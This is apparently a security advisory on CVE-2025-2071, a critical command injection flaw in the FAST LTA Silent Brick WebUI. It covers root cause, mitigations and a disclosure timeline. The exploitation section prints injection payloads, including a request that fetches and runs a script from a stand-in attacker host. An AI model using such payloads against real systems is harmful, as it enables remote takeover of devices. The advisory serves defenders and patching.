injection

CVE-2025-2071: Critical OS Command Injection in FAST LTA Silent Brick WebUI

Robert Morgan

Robert Morgan

— 5 min read

Executive Summary

CVE-2025-2071 describes a critical OS Command Injection vulnerability affecting the FAST LTA Silent Brick WebUI. This vulnerability allows unauthenticated remote attackers to execute arbitrary operating system commands on the underlying Linux system. The root cause lies in the insufficient sanitization of user-supplied input passed to system-level commands via the "hd" and "pi" parameters in the WebUI. Successful exploitation can lead to complete system compromise, including unauthorized access, data exfiltration, and denial of service. A patch is available in version 2.63.04, and upgrading is strongly recommended.

Technical Details

The vulnerability resides within the FAST LTA Silent Brick WebUI, specifically affecting versions prior to 2.63.04. The affected platform is Linux, as the Silent Brick appliance runs on a Gentoo-based Linux distribution (e.g., Linux 5.4.109-gentoo-FAST). The vulnerable components are the web server and the underlying scripts responsible for processing user input from the "hd" and "pi" parameters.

The attack vector is network-based, requiring no authentication. An attacker can send a specially crafted HTTP request to the WebUI, injecting malicious commands into the "hd" or "pi" parameters. These parameters are then used in system calls without proper sanitization, leading to command execution.

The CVSS v4.0 score for this vulnerability is 10.0 (Critical), with a vector string of CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:N/RE:M/U:Amber. This indicates that the vulnerability is easily exploitable over the network, requires no user interaction or privileges, and can lead to complete compromise of the system's confidentiality, integrity, and availability.

Root Cause Analysis

The root cause of CVE-2025-2071 is the improper neutralization of special elements used in an OS command (CWE-78). The FAST LTA Silent Brick WebUI fails to adequately sanitize user-supplied input before passing it to system commands. Specifically, the "hd" and "pi" parameters are vulnerable to command injection.

Let's assume the vulnerable code snippet in the WebUI looks something like this (this is a hypothetical example based on the vulnerability description):

import subprocess
import cgi

def process_request(environ, start_response):
    form = cgi.FieldStorage(environ=environ, fp=environ['wsgi.input'])
    hd_value = form.getvalue('hd')
    pi_value = form.getvalue('pi')

    # Vulnerable code: Directly using user input in a system call
    command = f"some_utility -hd {hd_value} -pi {pi_value}"
    try:
        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
        output = result.decode('utf-8')
        status = '200 OK'
        headers = [('Content-type', 'text/plain')]
        start_response(status, headers)
        return [output.encode()]
    except subprocess.CalledProcessError as e:
        output = f"Error: {e.output.decode('utf-8')}"
        status = '500 Internal Server Error'
        headers = [('Content-type', 'text/plain')]
        start_response(status, headers)
        return [output.encode()]

In this example, the hd_value and pi_value obtained from the HTTP request are directly incorporated into the command string. The subprocess.check_output function then executes this string as a shell command with shell=True. This is extremely dangerous because an attacker can inject arbitrary shell commands into the hd_value or pi_value.

For example, an attacker could send the following HTTP request:

GET /vulnerable_page?hd=;id&pi= HTTP/1.1
Host: vulnerable.example.com

In this case, the hd_value would be ";id". When this is incorporated into the command, it becomes:

some_utility -hd ;id -pi

The shell interprets the semicolon (;) as a command separator. Therefore, the id command will be executed after some_utility -hd. This allows the attacker to execute arbitrary commands on the system.

Another example using command chaining with &&:

GET /vulnerable_page?hd=; touch /tmp/pwned &&&pi= HTTP/1.1
Host: vulnerable.example.com

This payload attempts to create a file named /tmp/pwned. The && operator ensures that the touch command is executed only if the preceding command (some_utility -hd) succeeds (or at least doesn't return an error).

A more sophisticated attack could involve using wget or curl to download a malicious script and then execute it:

GET /vulnerable_page?hd=; wget http://attacker.com/malicious.sh -O /tmp/malicious.sh && chmod +x /tmp/malicious.sh && /tmp/malicious.sh&pi= HTTP/1.1
Host: vulnerable.example.com

This payload downloads a script from http://attacker.com/malicious.sh, saves it as /tmp/malicious.sh, makes it executable, and then executes it.

Mitigation Strategies

The primary mitigation strategy is to upgrade to FAST LTA Silent Brick WebUI version 2.63.04 or later. This version contains a patch that addresses the OS Command Injection vulnerability. The patch likely involves proper sanitization and validation of user input before it is used in system commands.

In addition to upgrading, the following security best practices should be implemented:

  1. Input Validation: Implement strict input validation on all user-supplied data. This includes validating the type, format, and length of the input. Sanitize the input by removing or escaping any characters that could be used to inject commands.

    import shlex

def sanitize_input(input_string):
    # Use shlex.quote to properly escape the input for shell usage
    return shlex.quote(input_string)

hd_value = form.getvalue('hd')
pi_value = form.getvalue('pi')

sanitized_hd = sanitize_input(hd_value)
sanitized_pi = sanitize_input(pi_value)

command = f"some_utility -hd {sanitized_hd} -pi {sanitized_pi}"

    The shlex.quote() function is crucial here. It ensures that any special characters in the input are properly escaped, preventing them from being interpreted as shell commands.

  2. Principle of Least Privilege: Run the WebUI with the minimum necessary privileges. This limits the impact of a successful attack. If the WebUI only needs to read certain files or execute specific commands, it should not be run as root.

  3. Avoid shell=True: Never use shell=True in subprocess.check_output or similar functions. This allows the attacker to execute arbitrary shell commands. Instead, pass the command and its arguments as a list:

    import subprocess

hd_value = form.getvalue('hd')
pi_value = form.getvalue('pi')

# Still need to sanitize input, but now we avoid shell injection
sanitized_hd = sanitize_input(hd_value)
sanitized_pi = sanitize_input(pi_value)

command = ["some_utility", "-hd", sanitized_hd, "-pi", sanitized_pi]
try:
    result = subprocess.check_output(command, stderr=subprocess.STDOUT)
    output = result.decode('utf-8')
    status = '200 OK'
    headers = [('Content-type', 'text/plain')]
    start_response(status, headers)
    return [output.encode()]
except subprocess.CalledProcessError as e:
    output = f"Error: {e.output.decode('utf-8')}"
    status = '500 Internal Server Error'
    headers = [('Content-type', 'text/plain')]
    start_response(status, headers)
    return [output.encode()]

    By passing the command as a list, the subprocess module will execute the command directly without invoking a shell, preventing shell injection.

  4. Use Library Calls: Whenever possible, use library calls instead of invoking external processes to recreate desired functionality. This reduces the attack surface and eliminates the risk of command injection.

  5. Web Application Firewall (WAF): Deploy a Web Application Firewall (WAF) to detect and block malicious requests. A WAF can be configured to identify and block requests that contain command injection payloads.

  6. Regular Security Audits: Conduct regular security audits and penetration testing to identify and address vulnerabilities in the WebUI.

  7. Network Segmentation: Isolate the Silent Brick appliance from other critical systems on the network. This limits the impact of a successful attack.

  8. Monitor Logs: Regularly monitor system logs for suspicious activity. This can help to detect and respond to attacks in a timely manner.

Timeline of Discovery and Disclosure

  • 2024-12-24: The vulnerability was identified and reported to the vendor, FAST LTA.
  • 2025-01-16: Further technical information was provided to the vendor.
  • 2025-01-23: The vendor confirmed the vulnerability and began working on a patch.
  • 2025-03-06: A vendor patch was made available.
  • 2025-03-31: CVE-2025-2071 was publicly disclosed.

References

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